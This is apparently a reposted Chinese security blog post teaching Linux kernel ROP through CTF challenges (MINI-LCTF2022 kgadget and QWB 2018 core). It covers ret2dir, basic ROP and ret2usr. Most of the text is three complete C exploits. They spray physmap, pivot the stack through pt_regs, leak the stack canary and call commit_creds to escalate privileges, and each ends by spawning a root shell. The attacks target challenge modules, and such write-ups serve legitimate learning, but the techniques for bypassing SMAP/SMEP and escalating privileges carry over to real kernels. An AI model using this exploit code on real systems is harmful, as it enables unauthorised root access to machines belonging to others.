【表哥有话说第89期】KernelROP

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2023年5月29日13:44:56评论25 views字数 14812阅读49分22秒阅读模式

KernelROP

ret2dir

在Linux内核内存布局中，有一段direct mapping area，映射了整个物理内存空间,

也就是说，对于一个被用户进程使用的物理页框，同时存在着一个用户空间地址A与内核空间地址A‘到该物理页框的映射，即我们访问A和A’实际是访问的同一个物理页框。内核可以通过direct mapping area来对用户空间进行访问，从而绕过SMAP/SMEP，PXN等保护

ret2dir通常利用手法：

旧版本下，我们在用户空间中布置的gagdet可以通过direct mapping area上的地址在内核空间中访问

新版本的内核，direct mapping area已经不具备可执行权限，我们已经无法通过布置shellcode的方式来利用

但是我们依旧可以在在用户态布置ROP链子的方式利用

常规ret2dir的攻击手法：

• 利用mmap在用户空间喷射大量内存

• 利用漏洞泄露内核的堆地址(kamlloc返回的地址)，这个地址直接位于direct mapping area

• 利用泄露的地址在direct mapping area 进行内存搜索，找到我们在用户空间喷射的内存，这样我们就获得了一个映射到用户空间的内核空间地址，内核可以通过这个地址直接访问用户数据，从而绕过传统的隔绝手段

实际上，我们很少能有进行内存搜索的机会，通常在利用过程中，我们在mmap喷射大量内存的同时需要写入大量相同的payload,之后随机挑选一个位于direct mapping area 的地址进行“命中”

例题 MINI-LCTF2022-kgagdet

考点：mmap堆喷射，内核栈迁移，ret2dir

复现环境：ubuntu20.04 qemu7.2

题目开启了SMAP和SMEP保护，ret2usr失效

 1__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
 2{
 3  void (__fastcall **v3)(void *, _QWORD); // rdx
 4  void (__fastcall *v4)(void *, _QWORD); // rbx
 5  void (__fastcall *v5)(void *, _QWORD); // rsi
 6
 7  _fentry__(__file, *(_QWORD *)&cmd);
 8  if ( cmd == 0x1BF52 )
 9  {
10    v4 = *v3;
11    v5 = *v3;
12    printk(&unk_370);
13    printk(&unk_3A0);
14    qmemcpy(
15      (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
16      "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
17      48);
18    *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = '3abnttra';
19    printk(&unk_3F8);
20    v4(&unk_3F8, v5);                           // mov rbx,[rdx]
21                                                // call rbx
22    return 0LL;
23  }
24  else
25  {
26    printk(&unk_420);
27    return -1LL;
28  }
29}

题目漏洞很明显，对传入rdx进行解引用，对解引用得到的数据当作函数指针执行。

简单说就是执行下面的指令

call [rdx]

因此，我们有一个任意地址执行可以使用

考虑进行ret2dir

首先使用mmap喷射大量的内存，因为我们没有办法搜索内核的内存，因此我们可以考虑在我们喷射的内存中布置大量的“滑梯指令”，只要成功命中一条“滑梯”指令，即可成功提权

 1physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
 2build_rop(physmap_arry[0]);    
 3for(int i=1;i<15000;i++)
 4{
 5     physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
 6     if(physmap_arry[i]==NULL)
 7     {
 8         puts("[*] mmap error!");
 9         exit(1);
10     }
11     memcpy(physmap_arry[i],physmap_arry[0],page_size);
12}

为了提高命中率，采用以下指令来命中我们布置在后面的ret

1add rsp,0xa0;
2pop rbx;
3pop r12;
4pop r13;
5pop rbp;
6ret;

这部分代码的作用有个方面：

1.命中布置在后面的ret

2.控制RSP指向我们要进行栈迁移的gadget

 1void build_rop(size_t *rop)
 2{
 3    int i=0;
 4    for(;i<(page_size/8-0x30);i++)
 5    {
 6        rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
 7    }
 8    for(;i<(page_size/8-0x10);i++)
 9    {
10        rop[i]=ret;
11    }
12    rop[i++]=pop_rdi_ret;
13    rop[i++]=init_cred;
14    rop[i++]=commit_creds;
15    rop[i++]=swapgs_restore_regs_and_return_to_usermode;
16    rop[i++]=0xdeadbeefdeadbeef;
17    rop[i++]=0xdeadbeefdeadbeef;
18    rop[i++]=(size_t)get_root_shell;
19    rop[i++]=user_cs;
20    rop[i++]=user_rflags;
21    rop[i++]=user_sp;
22    rop[i++]=user_ss;
23
24}

在堆喷射和ROP布置完成之后，我们下一步要考虑如何进行栈迁移，这里我们选择劫持结构体pt_regs

pt_regs 一个结构体，作用是发生发生系统调用前保存各寄存器的值，系统调用结束后，通过pt_reg 来恢复寄存器的值

这个结构体固定位于内核栈底

这道题在进入ioctl 函数的时候清空了大部分寄存器，只留下了r8 r9 寄存器，不过足够用了

r9布置pop rsp;ret

r8布置我们想要的地址

我们按照以下指令布置寄存器的值

 1        mov r15,   0xbeefdead;
 2        mov r14,   0x11111111;
 3        mov r13,   0x22222222;
 4        mov r12,   0x33333333;
 5        mov rbp,   0x44444444;
 6        mov rbx,   0x55555555;
 7        mov r11,   0x66666666;
 8        mov r10,   0x77777777;
 9        mov r9,    pop_rsp_ret;
10        mov r8,    try_hit;
11        mov rax,   0x10;
12        mov rcx,   0xaaaaaaaa;

try_hit是我们随机挑选的一个地址，位于direct mapping area

前面提到过，我们在ROP链子前方布置了一系列的“滑梯指令”，他的作用有两个

除了命中布置的ret之外,还负责控制RSP指向我们要进行栈迁移的gadget，这里便是体现了第二条作用。add rsp,0xa0 会劫持RSP指向pt_regs结构体中，配合后续指令即可控制程序流执行r9中的指令从而劫持RSP的值为r8存储的地址

完整exp:

  1#define _GNU_SOURCE
  2#include<unistd.h>
  3#include <fcntl.h>
  4#include <stdio.h>
  5#include <stdlib.h>
  6#include <string.h>
  7#include <sys/mman.h>
  8#include<sys/types.h>
  9
 10size_t pop_rdi_ret=0xffffffff8108c6f0;
 11size_t  pop_rsp_ret = 0xffffffff811483d0;
 12size_t ret = 0xffffffff8108c6f1;
 13size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
 14size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
 15
 16size_t commit_creds=0xffffffff810c92e0;
 17
 18size_t init_cred=0xffffffff82a6b700;
 19
 20size_t kernel_base=0xffffffff81000000;
 21
 22size_t *physmap_arry[16000];
 23size_t page_size;
 24
 25size_t try_hit;
 26
 27int dev_fd;
 28
 29size_t user_cs,user_ss,user_rflags,user_sp;
 30void save_status(void)
 31{
 32    __asm__(
 33        "mov user_cs,cs;"
 34        "mov user_ss,ss;"
 35        "mov user_sp,rsp;"
 36        "pushf;"
 37        "pop user_rflags;"
 38    );
 39    printf("33[34m33[1m[*] Status has been saved.33[0mn");
 40}
 41void get_root_shell(void)
 42{
 43    puts("[*] try to get the root shell...");
 44    if(getuid()!=0)
 45    {
 46        printf("33[34m33[1m[*] Failed to get the root shell.33[0mn");
 47        exit(1);
 48    }
 49    printf("33[34m33[1m[*] Success to get the root shell.33[0mn");
 50    system("/bin/sh");
 51    exit(0);
 52}
 53void build_rop(size_t *rop)
 54{
 55    int i=0;
 56    for(;i<(page_size/8-0x30);i++)
 57    {
 58        rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
 59    }
 60    for(;i<(page_size/8-0x10);i++)
 61    {
 62        rop[i]=ret;
 63    }
 64    rop[i++]=pop_rdi_ret;
 65    rop[i++]=init_cred;
 66    rop[i++]=commit_creds;
 67    rop[i++]=swapgs_restore_regs_and_return_to_usermode;
 68    rop[i++]=0xdeadbeefdeadbeef;
 69    rop[i++]=0xdeadbeefdeadbeef;
 70    rop[i++]=(size_t)get_root_shell;
 71    rop[i++]=user_cs;
 72    rop[i++]=user_rflags;
 73    rop[i++]=user_sp;
 74    rop[i++]=user_ss;
 75
 76}
 77int main()
 78{
 79    save_status();
 80    dev_fd=open("/dev/kgadget",O_RDWR);
 81    if(dev_fd<0)
 82    {
 83        printf("33[34m33[1m[*] Failed to open the dev");
 84        exit(1);
 85    }
 86    page_size=sysconf(_SC_PAGESIZE);
 87
 88    physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
 89    build_rop(physmap_arry[0]);
 90    puts("[*] Spraying physmap...");
 91    for(int i=1;i<15000;i++)
 92    {
 93        physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
 94        if(physmap_arry[i]==NULL)
 95        {
 96            puts("[*] mmap error!");
 97            exit(1);
 98        }
 99        memcpy(physmap_arry[i],physmap_arry[0],page_size);
100    }
101    puts("[*] build rop completed.");
102    sleep(5);
103    try_hit=0xffff888000000000 + 0x7000000;
104    __asm__(
105        "mov r15,   0xbeefdead;"
106        "mov r14,   0x11111111;"
107        "mov r13,   0x22222222;"
108        "mov r12,   0x33333333;"
109        "mov rbp,   0x44444444;"
110        "mov rbx,   0x55555555;"
111        "mov r11,   0x66666666;"
112        "mov r10,   0x77777777;"
113        "mov r9,    pop_rsp_ret;"
114        "mov r8,    try_hit;"
115        "mov rax,   0x10;"
116        "mov rcx,   0xaaaaaaaa;"
117    );
118    ioctl(dev_fd,0x1bf52,try_hit);
119}

KernelROP

basicROP

Last edited time: May 13, 2023 1:00 PM Owner: Anonymous

2018-强网杯-core

内核入门题

注意寻找gadget和基地址要用cpio解压出来的vmlinux，不能用题目带的vmlinux

不知道为什么，本题在ubuntu22.04 qemu 7.0的版本条件下无法拿到root shell 但是能用

open read write写出flag

题目复现环境：ubuntu 20.04 qemu 6.2

题目注意要点：

ASLR的计算

call指令的本质：push rip;jmp addr

本题没有mov rdi,rax;ret这种gagdet

只能找到mov rdi,rax;call rdx这种

因此要考虑用如何控制程序流程

可以在执行这条指令之前执行一条 pop rdi

往rdi中传入一条含有pop;ret指令的地址

这样就可以利用call rdx返回了，必须要有pop指令

因此push rip会把call rdx的下一条指令压入栈，这样会导致以下栈布局

1sp:rip
2sp+8:我们想要执行的gagdet地址
3sp+0x10:gadget

因此必须要有一条pop指令清空rip，才能ret到我们想要的gagdet

此外，有个size检测，具体看exp和ida即可

exp:

  1#include<stdio.h>
  2#include<stdlib.h>
  3#include<string.h>
  4#include<unistd.h>
  5#include<fcntl.h>
  6#include<sys/types.h>
  7
  8#define POP_RDI_RET 0xffffffff81000b2f
  9#define POP_RDX_RET 0xffffffff810a0f49
 10#define POP_RCX_RET 0xffffffff81021e53
 11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
 12
 13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
 14#define IRETQ 0xffffffff81050ac2
 15
 16#define no_aslr_kernel_base 0xffffffff81000000
 17
 18size_t commit_creds=NULL;
 19size_t prepare_kernel_cred=NULL;
 20
 21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
 22
 23size_t aslr_kernel_base=NULL;
 24
 25void print(char *str)
 26{
 27    char *format="33[34m33[1m[*] %s33[0mn";
 28    printf(format,str);
 29}
 30
 31void saveStatus()
 32{
 33    __asm__(
 34        "mov user_cs, cs;"
 35        "mov user_ss, ss;"
 36        "mov user_sp, rsp;"
 37        "pushf;"
 38        "pop user_rflags;"
 39    );
 40}
 41void get_root()
 42{
 43    if(getuid())
 44    {
 45        print("Failed to get the root!");
 46        exit(-1);
 47    }
 48    print("Success to get the root shell!");
 49    system("/bin/sh");
 50}
 51void core_read(int fd,char *buf)
 52{
 53    ioctl(fd,0x6677889B,buf);
 54}
 55void core_setoff(int fd,size_t off)
 56{
 57    ioctl(fd,0x6677889C,off);
 58}
 59void core_copy_func(int fd,size_t nbytes)
 60{
 61    ioctl(fd,0x6677889A,nbytes);
 62}
 63int main()
 64{
 65    print("Start to expliot...");
 66    saveStatus();
 67    print("Opening /proc/core...");
 68
 69    int fd=open("/proc/core",2);
 70    if(fd<0)
 71    {
 72        print("Can not open the /proc/core...");
 73        exit(-1);
 74    }
 75
 76    print("Opening /tmp/kallsyms...");
 77
 78    FILE* sym_table=fopen("/tmp/kallsyms","r");
 79    if(sym_table==NULL)
 80    {
 81        print("Can not open the /temp/kallsyms...");
 82        exit(-1);
 83    }
 84    char buf[0x50],type[0x10];
 85    size_t addr=NULL;
 86    while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
 87    {
 88        if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
 89        {
 90            break;
 91        }
 92        if(strcmp(buf,"commit_creds")==0)
 93        {
 94            commit_creds=addr;
 95            print("Success to get the address of commit_creds:");
 96            printf("%pn",commit_creds);
 97            continue;
 98        }
 99        if(strcmp(buf,"prepare_kernel_cred")==0)
100        {
101            prepare_kernel_cred=addr;
102            print("Success to get the address of prepare_kernel_cred:");
103            printf("%pn",prepare_kernel_cred);
104            continue;
105        }
106    }
107    aslr_kernel_base=commit_creds-0x9c8e0;
108    print("Success to get the address of kernel base:");
109    printf("%pn",aslr_kernel_base);
110    size_t offset=aslr_kernel_base-no_aslr_kernel_base;
111    print("Success to get the aslr value:");
112    printf("%pn",offset);
113
114    size_t canary=NULL;
115    core_setoff(fd,0X40);
116    core_read(fd,buf);
117    canary=((size_t *)buf)[0];
118    print("Success to get the canary:");
119    printf("%pn",canary);
120    int i=0;
121    size_t rop[0x100];
122    for(; i < 10;i++)
123        rop[i] = canary;
124    //prepare_kernel_cred(NULL);
125    rop[i++]=POP_RDI_RET+offset;
126    rop[i++]=0;
127    rop[i++]=prepare_kernel_cred;
128    //commit_creds(prepare(NULL));
129    rop[i++]=POP_RDX_RET+offset;
130    rop[i++]=POP_RCX_RET+offset;//清理call指令压入的垃圾指令
131    rop[i++]=MOV_RDI_RAX_CALL_RDX+offset;
132    rop[i++]=commit_creds;
133    //back to user
134    rop[i++]=SWAPGS_POPFQ_RET+offset;
135    rop[i++]=0;
136    rop[i++]=IRETQ+offset;
137    rop[i++]=(size_t)get_root;
138    rop[i++]=user_cs;
139    rop[i++]=user_rflags;
140    rop[i++]=user_sp;
141    rop[i++]=user_ss;
142    write(fd,rop,0x800);
143    core_copy_func(fd,0xffffffffffff0000|(0x100));//结合IDA查看绕过
144}

KernelROP

ret2usr

Last edited time: May 6, 2023 4:56 PM Owner: Anonymous

未开启SMAP/SMEP保护时，内核态可以访问用户态的空间

exp中用户态调用commit_creds(prepare_kernel_cred(NULL)) 函数

在内核态布置ROP链子跳转到用户态的函数

在内核态下调用用户态中的函数提权

然后再回到用户态起root shell

强网杯2018-core ret2usr的打法

  1#include<stdio.h>
  2#include<stdlib.h>
  3#include<string.h>
  4#include<unistd.h>
  5#include<fcntl.h>
  6#include<sys/types.h>
  7
  8#define POP_RDI_RET 0xffffffff81000b2f
  9#define POP_RDX_RET 0xffffffff810a0f49
 10#define POP_RCX_RET 0xffffffff81021e53
 11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
 12
 13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
 14#define IRETQ 0xffffffff81050ac2
 15
 16#define no_aslr_kernel_base 0xffffffff81000000
 17
 18size_t commit_creds=NULL;
 19size_t prepare_kernel_cred=NULL;
 20
 21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
 22
 23size_t aslr_kernel_base=NULL;
 24
 25void print(char *str)
 26{
 27    char *format="33[34m33[1m[*] %s33[0mn";
 28    printf(format,str);
 29}
 30
 31void saveStatus()
 32{
 33    __asm__(
 34        "mov user_cs, cs;"
 35        "mov user_ss, ss;"
 36        "mov user_sp, rsp;"
 37        "pushf;"
 38        "pop user_rflags;"
 39    );
 40}
 41void get_root()
 42{
 43    if(getuid())
 44    {
 45        print("Failed to get the root!");
 46        exit(-1);
 47    }
 48    print("Success to get the root shell!");
 49    system("/bin/sh");
 50}
 51void ret2usr()
 52{
 53    void * (*prepare_kernel_cred_ptr)(void *)=prepare_kernel_cred;
 54    int (*commit_creds_ptr)(void *)=commit_creds;
 55    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
 56}
 57void core_read(int fd,char *buf)
 58{
 59    ioctl(fd,0x6677889B,buf);
 60}
 61void core_setoff(int fd,size_t off)
 62{
 63    ioctl(fd,0x6677889C,off);
 64}
 65void core_copy_func(int fd,size_t nbytes)
 66{
 67    ioctl(fd,0x6677889A,nbytes);
 68}
 69int main()
 70{
 71    print("Start to expliot...");
 72    saveStatus();
 73    print("Opening /proc/core...");
 74
 75    int fd=open("/proc/core",2);
 76    if(fd<0)
 77    {
 78        print("Can not open the /proc/core...");
 79        exit(-1);
 80    }
 81
 82    print("Opening /tmp/kallsyms...");
 83
 84    FILE* sym_table=fopen("/tmp/kallsyms","r");
 85    if(sym_table==NULL)
 86    {
 87        print("Can not open the /temp/kallsyms...");
 88        exit(-1);
 89    }
 90    char buf[0x50],type[0x10];
 91    size_t addr=NULL;
 92    while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
 93    {
 94        if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
 95        {
 96            break;
 97        }
 98        if(strcmp(buf,"commit_creds")==0)
 99        {
100            commit_creds=addr;
101            print("Success to get the address of commit_creds:");
102            printf("%pn",commit_creds);
103            continue;
104        }
105        if(strcmp(buf,"prepare_kernel_cred")==0)
106        {
107            prepare_kernel_cred=addr;
108            print("Success to get the address of prepare_kernel_cred:");
109            printf("%pn",prepare_kernel_cred);
110            continue;
111        }
112    }
113    aslr_kernel_base=commit_creds-0x9c8e0;
114    print("Success to get the address of kernel base:");
115    printf("%pn",aslr_kernel_base);
116    size_t offset=aslr_kernel_base-no_aslr_kernel_base;
117    print("Success to get the aslr value:");
118    printf("%pn",offset);
119
120    size_t canary=NULL;
121    core_setoff(fd,0X40);
122    core_read(fd,buf);
123    canary=((size_t *)buf)[0];
124    print("Success to get the canary:");
125    printf("%pn",canary);
126    int i=0;
127    size_t rop[0x100];
128    for(; i < 10;i++)
129        rop[i] = canary;
130    rop[i++]=(size_t)ret2usr;//在内核态下跳转到用户态函数执行提权函数
131    rop[i++]=SWAPGS_POPFQ_RET+offset;
132    rop[i++]=0;
133    rop[i++]=IRETQ+offset;
134    rop[i++]=(size_t)get_root;
135    rop[i++]=user_cs;
136    rop[i++]=user_rflags;
137    rop[i++]=user_sp;
138    rop[i++]=user_ss;
139    write(fd,rop,0x800);
140    core_copy_func(fd,0xffffffffffff0000|(0x100));
141}

这次的分享到这里就结束了

我们下期再见啦！！

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原文始发于微信公众号（SKSEC）：【表哥有话说第89期】KernelROP

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